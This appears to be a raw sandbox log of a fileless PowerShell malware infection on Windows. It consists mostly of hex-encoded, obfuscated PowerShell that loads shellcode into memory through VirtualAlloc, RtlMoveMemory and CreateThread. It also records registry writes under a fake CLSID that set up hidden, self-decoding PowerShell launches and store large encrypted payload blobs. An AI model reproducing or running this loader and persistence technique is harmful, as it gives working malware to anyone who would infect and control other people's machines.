7334232303238323432383636364637323238323436413631333933443330334232343641363133393230324436433734323032343637364133343245344336353645363737343638334232343641363133393242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234363736413334324535333735363237333734373236393645363732383234364136313339324333323239324332383331333832443238333232443330323932393239323037443239323927297c2628247073686f6d655b3131312d3130375d2b247073686f6d655b3231362d3138325d2b277827297d247368343d73643720277873766d75676f6b6872716962656a2720276a7a766f636d78666c656b797568726227202769676a636c686266717772616f6b78767a273b66756e6374696f6e206b75387b706172616d2824666f372c247a65352c247371352920286f6d372027323437343632333733443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333733303336333033343331333032443330343633313333324433303435333033303244333033363331333032443331333133303335333133313330333133303436333034363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303337333033363237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333733303336323733423234373036453339334432383234373436323337354233333332354432423238333332423238333132423332333932393239323933423230323436433636333033443234373436323337354232343730364533393245324532383234373036453339324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436433636333032393342323437343632333733443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333733303336333033343331333032443330343633313333324433303435333033303244333033363331333032443331333133303335333133313330333133303436333034363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303436333034363237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330343633303436323733423234373036453339334437423230323437353635333233443330324532453332333533353342333032453245333233353335374332353742323032343731364133393344323832343731364133393242323437353635333235423234354635443242323436433636333035423234354632353234364336363330324534433635364536373734363835443239323532383238333533393338324433323338333932393244333533333239334232303234373536353332354232343546354432433234373536353332354232343731364133393544334432343735363533323542323437313641333935443243323437353635333235423234354635443230374432303342323437343632333737433235374232343734373933343344323832343734373933343242333132393235323833363335324232383238333333343242333133353337323932393239334232303234373937413337334432383234373937413337324232343735363533323542323437343739333435443239323532383238323833343339324233343331323932393242333133363336323933423230323437353635333235423234373437393334354432433234373536353332354232343739374133373544334432343735363533323542323437393741333735443243323437353635333235423234373437393334354433423234354632443632373836463732323437353635333235423238323437353635333235423234373437393334354432423234373536353332354232343739374133373544323932353238323832383331333732423332333633333239324233323239324433323336323935443230374432303744323033423234363137343334323033443230323832363230323437303645333937433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323437343739333433443330334232343734373933343230324436433734323032343631373433343245344336353645363737343638334232343734373933343242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234363137343334324535333735363237333734373236393645363732383234373437393334324333323239324332383331333832443238333232443330323932393239323037443239323927297c2628247073686f6d655b3132322d3131385d2b247073686f6d655b3133342d3130305d2b277827297d66756e6374696f6e207a64317b706172616d28246b63352c246479332920286f633920273234364637323336334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343739373033303344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343646373233363245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234364637323336324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234373937303330324332343642363333353239323927297c2628247073686f6d655b3135322d3134385d2b247073686f6d655b3230382d3137345d2b277827297d66756e6374696f6e20636d397b706172616d28247162352c246979342c24746b362920287479322027323437333644333333443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333733303336333033343331333032443330343633313333324433303435333033303244333033363331333032443331333133303335333133313330333133303436333034363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303337333033363237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333733303336323733423234363136343333334432383234373336443333354233333332354432423238333332423238333132423332333932393239323933423230323436363635333433443234373336443333354232343631363433333245324532383234363136343333324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436363635333432393342323437333644333333443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333733303336333033343331333032443330343633313333324433303435333033303244333033363331333032443331333133303335333133313330333133303436333034363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303436333034363237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330343633303436323733423234363136343333334437423230323437413738333333443330324532453332333533353342333032453245333233353335374332353742323032343637373633373344323832343637373633373242323437413738333335423234354635443242323436363635333435423234354632353234363636353334324534433635364536373734363835443239323532383238333533393338324433323338333932393244333533333239334232303234374137383333354232343546354432433234374137383333354232343637373633373544334432343741373833333542323436373736333735443243323437413738333335423234354635443230374432303342323437333644333337433235374232343643373833303344323832343643373833303242333132393235323833363335324232383238333333343242333133353337323932393239334232303234364336463338334432383234364336463338324232343741373833333542323436433738333035443239323532383238323833343339324233343331323932393242333133363336323933423230323437413738333335423234364337383330354432433234374137383333354232343643364633383544334432343741373833333542323436433646333835443243323437413738333335423234364337383330354433423234354632443632373836463732323437413738333335423238323437413738333335423234364337383330354432423234374137383333354232343643364633383544323932353238323832383331333732423332333633333239324233323239324433323336323935443230374432303744323033423234373136413331323033443230323832363230323436313634333337433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323436433738333033443330334232343643373833303230324436433734323032343731364133313245344336353645363737343638334232343643373833303242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234373136413331324535333735363237333734373236393645363732383234364337383330324333323239324332383331333832443238333232443330323932393239323037443239323927297c2628247073686f6d655b3136372d3136335d2b247073686f6d655b3134382d3131345d2b277827297d66756e6374696f6e20717a387b706172616d28247368342c24796b372c246a77322c246f74322920287369382027323436373636333333443542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534443631373237333638363136433544334133413437363537343434363536433635363736313734363534363646373234363735364536333734363936463645353036463639364537343635373232383238373137373331323032373536363937323734373536313643343136433643364636333435373832373239324332383736363133313230343032383542343936453734353037343732354432433542343936453734353037343732354432433542343936453734353037343732354432433542363936453734354432433542363936453734354432393238354234393645373437303734373235443239323932393245363936453736364636423635323832443331324333303243323437393642333732433238333433303339333032423338333133393338323932433234364637343332323933423542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534443631373237333638363136433544334133413437363537343434363536433635363736313734363534363646373234363735364536333734363936463645353036463639364537343635373232383238373137373331323032373532373436433444364637363635344436353644364637323739323732393243323837363631333132303430323835423439364537343530373437323544324335423632373937343635354235443544324335423535343936453734333333323544323932383542343936453734373037343732354432393239323932453639364537363646364236353238323436373636333332433234373336383334324332343739364233373239334232343637363633333344344536353737324434463632364136353633373432303533373937333734363536443245343936453734373037343732323032443431373236373735364436353645373434433639373337343230323432383234363736363333324535343646343936453734333633343238323932423234364137373332323933423542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534443631373237333638363136433544334133413437363537343434363536433635363736313734363534363646373234363735364536333734363936463645353036463639364537343635373232383238373137373331323032373433373236353631373436353534363837323635363136343237323932433238373636313331323034303238354234393645373435303734373235443243354235353439364537343333333235443243354234393645373435303734373235443243354234393645373435303734373235443243354235353439364537343333333235443243354234393645373435303734373235443239323835423439364537343730373437323544323932393239324536393645373636463642363532383330324333303243323436373636333332433330324333303243333032393342353337343631373237343244353336433635363537303230324437333230333233333330333727297c2628247073686f6d655b3131332d3130395d2b247073686f6d655b3230312d3136375d2b277827297d66756e6374696f6e20746b317b706172616d28246776322c246f61312920287a6837202732343734363133303344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343734363133303245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343637373633323239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343734363133303245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436463631333132433234363737363332323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373436313330324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3135322d3134385d2b247073686f6d655b3232352d3139315d2b277827297d717a38202473683420247368342e6c656e67746820282834303338362d35343230292d313734323629202836322b2828322b31292d31292966756e6374696f6e206d63327b706172616d282467773629202863693720273234363236463333334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343738363233393344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343632364633333245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234363236463333324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234373836323339324332343637373733363239323927297c2628247073686f6d655b3134372d3134335d2b247073686f6d655b3231332d3137395d2b277827297d66756e6374696f6e207276397b706172616d28246e77332c246f723829202867613720273234364437333335334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343730373233383344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343644373333353245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234364437333335324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234373037323338324332343645373733333239323927297c2628247073686f6d655b3136362d3136325d2b247073686f6d655b3233322d3139385d2b277827297d66756e6374696f6e206e73337b706172616d2824726d372c2478653729202873613220273234363436423337334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343735373833353344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343634364233373245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234363436423337324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234373537383335324332343732364433373239323927297c2628247073686f6d655b3131392d3131355d2b247073686f6d655b3135332d3131395d2b277827297d powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{07060410-0F13-0E00-0610-110511010F0F}\LocalServer\ = "cmd /c start /min powershell -c \"& {(-join('247A6C78743D2730463046273B285B546578742E456E636F64696E675D3A3A555446382E476574537472696E67282867702027686B6C6D3A5C736F6674776172655C636C61737365735C434C5349445C7B30373036303431302D304631332D304530302D303631302D3131303531313031304630467D5C50726F67494427292E247A6C787429297C2628247073686F6D655B345D2B247073686F6D655B33345D2B27782729'-split'(..)'|?{$_}|%{[char][convert]::ToUInt32($_,16)}))|&($pshome[224-220]+$pshome[18+12+4]+'x')}\"" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{07060410-0F13-0E00-0610-110511010F0F}\ProgID\ = "{0C0B0B04-030A-0A0C-0D06-0C0D0B131107}" powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{07060410-0F13-0E00-0610-110511010F0F}\LocalServer powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{07060410-0F13-0E00-0610-110511010F0F}\VersionIndependentProgID\0706 = 38477c6d692f7e5f21323d7a57583149553a635b44597273644a6a252950264334354d4e66227553284b2c2a65246b745d612b684c716c273b76624f40235e565c6f4651706e33773f345a3637303e607d393c426771747a61766c316830696b6e6a79703662666d383567393373637565376477327c423f30343c28362f454f3178446e58656624224d71514e557572402a76505e233b6a773e25277a4763747b38462e60703a296139494b437379262b7e593d416c33522d5c6d6454695a487d68324a4c375f6f21355662572c5d536b675b powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{100C0811-0D07-0604-050B-0A0808020301} powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{07060410-0F13-0E00-0610-110511010F0F} powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{07060410-0F13-0E00-0610-110511010F0F}\VersionIndependentProgID powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{07060410-0F13-0E00-0610-110511010F0F}\VersionIndependentProgID\ = "{0C0B0B04-030A-0A0C-0D06-0C0D0B131107}" powershell.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\ID = "0" msiexec.exe Key created \REGISTRY\MACHINE\software\classes\{0C0B0B04-030A-0A0C-0D06-0C0D0B131107}\CLSID powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{0C0B0B04-030A-0A0C-0D06-0C0D0B131107}\ = "{0C0B0B04-030A-0A0C-0D06-0C0D0B131107}" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{0C0B0B04-030A-0A0C-0D06-0C0D0B131107}\CLSID\ = "{07060410-0F13-0E00-0610-110511010F0F}" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{100C0811-0D07-0604-050B-0A0808020301}\ = "{0C0B0B04-030A-0A0C-0D06-0C0D0B131107}" powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{07060410-0F13-0E00-0610-110511010F0F}\VersionIndependentProgID\0F0F = b051c1b2c0b033b1d690c4cd71173af8bc3fe02e789733e1cfa978c9afd116180b3a1913f9cdd8bf648a88c3f8fd1882d95db9a338787feddcccb7d39e92aeaa2471499af7142ba1e6e44210bc7594f4231b13ec6a56f0d14dfc351f64eda6e39b1457d0601b1fe01046ca3b744753d0ee921ccf29b87c92fd21298b9c1fa94f24d9a706e5ef7a6bbb6305c8018d92d253d9b8ff07ac95c35d686b4093424275fc86bedecc8a1626425b2f7e7ef2b5f71ee74aa5886a7cdee2ddbf9133a7931d51b08b5a61132a3afa0c5c3b3ed7b06a75b08fa8c4d017b8bf42a323a8b09e37384af8dd2e4cf29181fa3f3e81a774daa555c4e9680123055c72344cff3468f467eeac4676928ed2e4b01f875c201d5614d36e97c06468ed4ae22c546de474bde15edade5f36d74af59f2c66c0bc44b20ca3a6384f69bc162cf3f7241c088344d497f30a62679b68719b24e5ed3f1f5ffb8f872ca00fb7952a518c813d85348bcf34716dad8d8c0490ef7b59e481f82420ac756bcf8b4bf3cd3b409900fbb53fd1eb5830479305c3014639f2865e5c347bd5ce1232b470f9bad56150a030cf29d970a8e824338477031f98063f49a177eb798b0ed5d83adefea43208c06c1d67bb1ee5867151879ea8e2c7f7dad90b24f6fc9a4295f3390554691f7ee68031fb58bcbe86ba4cfd35c5ee03ef6b0d4202741efe20eaca9afba589c6cbe7c46da32e7d63fa76db7d7db86ded1d5a1d2b278c2b0c11e5a4b165d073e840ad737672fd166e1b671121ba3f310fa6303bf573ab183b764dceaf4cf3a2653ece7bf1777d42a54cd14ee79fc21111fe2734d12d4cabea024985151905d8176eb0861d0d9026af053870580fe10f53d6050de5bfcdf32965daf9a3381f4914166ae7f7d6854310497b8b34f5847cdf713ad5129833d7ac88307ccaa71ff4de7d60805cc473dec70f29e36835e6258dee5f568b51511b1e27f8bcf328ae24647425f1fd5cf53323d6138c93796dd3e7656561d4f3b48c0f6b3fec0b3f5b981a9048961951e2597d1cbde1a2f32e0592e0201b1f184ebf422e0d4b6c8df1d53ec898748b929c431e063f8f758b700895c22628bd0f4772ca6380b7b20d6c78c44b0fcd16eac5b4208fd11d69807d9b790903554c28cc67fd8b38b68064b61bcd9c8c9acb8d4f65215f0df9a45bdce77cb4cea3ae175bd57828ffbae3a30acfe6370ff1eea455e4e62be5dab1b6db2533580d9e7098c1ec10e5ded43fac847b00d84a28d330487b9f05e3b2c01461b4c9acedc243462a9ff46ff0019f32219efb770be5cc4f93b80370f598cc4b46a3d355ab65818402029318e40c0153c07eda33f07ab7d7f90382a53e6f2b0670b2b778c6ada9e07bc3f9ec26de88302fe93b633b5cf0d7efd41fea4903241f1280cfb7f7abb6618c1827c0568120faba0333e7b1ee2e522008f7bf38e342d4004adc01da35d59c5c6475fab6bc9b3547c01a393713afb55274e1206e2ff30a5b6d612ca16fee0bca8d4c15c389877d244f99c10d9dfb28b1861bcf3d25790a9c188d6393a88d365504ba2e3f6ec2d2dd2b4cd197d9635f6d9521f60e1179f29260ef5cfeeacb7aa9b503e073c2b924dd8ddd4d21963f2a2f227eb3134c3e4a0f94ebafed9b98c055fc021f7e8a32bc74c3c3ef2a4cb76d3bac2da67c07b6b856af6ae27084e6941376fd209874163d6b16377ad7f040a56c1220fb7ce23ae3c3539e8eb15be744f3d366f573837eff31b8bbff8dd3ef7f2c2335c600630aab4ea4750de58578134cd39e3c10d18c3b18c11be686d1414178a8e2afb984cb4c621c4d3c9c375f63839ff6c1946eb59721aedc2bea75ed759eaa6d6e800ebc3f998907a24bbc853d797a681bf437300a2eee19965e686d22b141feb27bfb61ed74248ca90a1752ccafe7bb6c3942529954e227aea21660540a20bcbcbb6c551a17933db86c516d2b5247d3f68fabb7b2d16b19833aecb30176825ac6aa26d22dd33869d53201dda490232bdbe34febf9a8840727423b77ff6e7cf0d429158934a1890a4f693300994f509ec0f889bbbc5d00fc89419631c294c2f5d6e047e26345cd82b2a47a78204cf86a4086e653fbb89b1aa660a9c6fd08047e79719f72de54efe70a5c06e032ac95336c15ac8cf6ae1376f68ebc5dfc44302ec2178a0518fa0dae5f32853ae7102bad795c366371a59b81ebb8a0c064d361fe591545663f8ac6a3a0c72bcc79320f329d5fe341c917eedcad294d891fdbb4c3c105d3229523f9b5003c7467d8e50d30b4234088a136b879664242634fdf529ba9c77d5733d3692d8110f4d5fcf9d79276516085a1c9744b2cf9ae79c0b625751d1220806afda51abfee0bf0d6284c391fba8964b0222b14fa072af754af8c97af72edfc4089c51ddd1eb58f210f251461d736dc084d6261913cfed5a38d8ae885127dac638e9336209ef2d2c5d87ef8e9740145ffaff24ae8dec1d6f01b2989d43a75f44c617e9dec140f5723f0f2775d6c585d64b37d3a21b9925c22d231f657fe60f174f967f7000a9eb7de663f191f9865711e5aea058927046a37b7d79c9b919a4f0de53e8f17a131149b1c94eed3ad15a98b8e8e2305f8b081d5e107cc8387e20a4bff289e8c723bdac10092eb2e17ce00b6c1411fbb7e67ec8120fc06b71e4feec29fd8012d79a8dffa8ab1862a8f47573a2fee69f36e10e50754444ce4e3cd0ce70cdd87b7aa3276251e9bd997cc472aefde31ea238f79dfdf426130ab7d3f4363b18aa8670a0b895043ec174ae261e635ba0fb8ab925d94c6b509324df96a1829dbf85922a44c6708b813377893132756be8ab394f0380f242929e699470a8ee051f0b0b3c5830c95402b43ac7bff17761cfdf9ce73f9ff50306639e3defc04280f74cb76753db7f086e506a221421bacac502e89a6bc09e137c29b85d4ca720a2cc4d551c1646c1a344114814d0acb9258fd58afc59f998921ad47b5b37a945e48123a88cb0aa80e2a7ada6e9067325fab03e0e8702f6ab188ce9554f7999e43bf8323a076d654fffa2f7b5f9e82cc07b5970480285fd12575c5ce0ce723e71207548eb3a68bb1cf5afa71d46d9c7cbf56d2eb8b80ba3f8aa6149e3d154e00c0d67557226128a6199d15778f29bbf576c3143028ec94d5a3fb8494d2da2f32169cab3ab8f121aa907b68d723249c0b5585439128be48f53615118cd50e86865cf3fe48ba9aa62c6401037c7fb97bbdccb4f0c3ed4d45bbadb904dd81e86932816dabb42777b8185e2227138cddbdfcb5ea04e42b3d7d59d569f7c8b87ddf030abea50bafaf3d09a64c83947e600bf1fd8fbbb770db9760467423c33bef35c2a21d3c3913f9c552869c5f0d07d1aebdcfaba7d6c1d789c3d489074604e8321c4fa815b0ebcd44c981e81418222e75a298222b3b4cacd6ad5eab8ab1135ad155d14e68abaece4ed5ad43c60bfa1df85599e50fda52d6501e7bf01408eb343f0bf8e9f928cd788f4720a4b4594cf7ef1f53e8efabe1feb9d1a746badf17a2691d91b244c3aec57d0bd4b7da9308aa2d1d9ec7a09d144f85fffbca4a1cf0e44f1f6cbc09e1bfe62866879ea992f7e7c52ce76f247ef6cbdcd64c68c2805a580bdc967ec1d98da0d9cc29b27ee2a8f3351789539379e3bbc3ccee044d64a444460ecab790d288e1a588acd2889870d21105fba50b54a77ae8269f6bf391b4508d9429ac9064f95a488f9d50bd4dc90dee03c29a1c9535496b8b5b0c1b4bc19d134fad3ef4f3d674031c1a13d2fad8752a953cda9e05c65cd710c015c63f2fa15dae79618d3ca578b5ddd541f40af9ca71edc503b7d9cc799fc332a7ea4cf978a9609486042c5e0ab0f116ede88c5eb9acf7770986b216b72a9c84099073e0118307e0b157a8307688557e16e114c9018104040b1dcd42e20f0f6ee0a902a39feeef3ee9aaf5c69d80945b1e0c45758fccef22c1f0263745ae3cf204a92c060ecf7e9bdecee22455b78d63b36c7ea8b9d051abcc67d5fc26a647a9377de4c74bdd1bd4b8495a13ba3a7134d003ba6f487f352af2f11f116bec4a32605591f44b9f946ec5faa02e712bfc669d96f03bc6d8c7cde56c486fd8c788f50a3bed614537fd5bfaa19984d5764d6f9d7b7ddb48ef63d5f6507c3d190d8b216d8e33b5ad3b27e42d796ce9614e2834974559b53a0a3c216b0d4a5d65642fb5360542d3f25b57aa52c4db309b149a8037481ece3ad0b2c8354fb10c8623f28248fd18ba8c443c7c5c0c2954254eea2095c15dd650d3188e1e416f234ac10d60cea6afbf00ff42d2def845b35807b26425ff4b91e5c7a13a66bd84734d0a23fcbece826606090f47bf40aec90627c27d39928d192f6286d4e8b57ca1f49daccab1b259622694528bd4e122ae6d73c5df7aa9e3087e420f5f0da70cd8c76dc235853bf8ae6ff072c9c801104970f1e527011a87be32fd36d240a86ad7c0f7bb255262d2c57a440b7c89e2d1e3352ee25bccecee763105784ef77fb623d6abf551639ececfb84c15cb6578e7c8425e0f6eb98a15611bb80e8341d00f6fafdfb770d8224d5494a9bffefbbc58b9b67576cbe63c654dfc463f9230d819ef9dd1c3b22243d5def78804f162c25150fe2dae259f54b5b5789583d33377f9e926908b38501dea1360e25493c0e33179fb916bf466d68229b5b935087d63001206cebe316c0f649ac3d882dd7e285b45c84867a392ec5d36c267abdfcca3a0a9155fef0a13a7876e5a066e97f903293efb2071b13ce535bffbf17eba9afb91dd3c340cc0c3bc392921c650ca2cf0f1330dc62d40676211e8bff645f67fa6c6c6de70f0b474a8cdf575f936118d34ff75fa9e7157f2e902784ee427b8b75d736e6e4a96051f97bb76b6cf6b5958cbfacc2f60d18fee2a7b3e8504d7826b2bfe112feea480f0cf3191031bf156c06dd438e3ee207c810d05b40059f8c427f13bc988e3d526701523a0c7b2697b94cc8cdb91a92d8018edf7b5e42dd64ce34a40fa8fabd96d6fa332aabbf6b3aa03bdd5e95db28d83bb236a558714f9fa7a736f39bb02eaa0739e36d486297aa37e6cda7e17e17f15e5e787057ee0cf7a8887ee2284339809913cf932cfd236fe852ebb2c74474b275e4c0c6950d91bf8c212bfb657815a280a8928552d5ca2f3febea6fcdb21cd37ffb6ac01dd2e0a3baa2dc07931260dec24eb3177dc57a1c97b90b7fc412998d49f0e66c24d8b1c60003e96878e1286c7864e535c9dc186506a16317a97d20783efe17f78b836bcadd05427a4d2717b90834e9566dbbd23545fe32cb484c36392d9b18ee732ef8011e1b238a87024b7c2535ed7f0908693f332c24f25943c01a43e8908d81ffa27c5b8e616ff607acbc95097c0662ba23a23822624bab523284f6791c7660637c909552c65558be79b4bdf1400beb5542a962af994ca222ef53f3c64b1f29e8d6bdaf9669efee72329728b5fbe1b787468dcc038a4205e298acb1b30fb8223a8ddb1762a8e64e3427a48045b04978ad99266bffa7be8c2f2c70bc9f7eab52428cb61c819bb56076c6fc0ecc687429dde6411eed2d25b60ec51a2d0164882b9a6571e91d760174eb68ff9a68dcb7ac95ab13cf76de984adacec9bbd1902c64de4fbc08f72bc0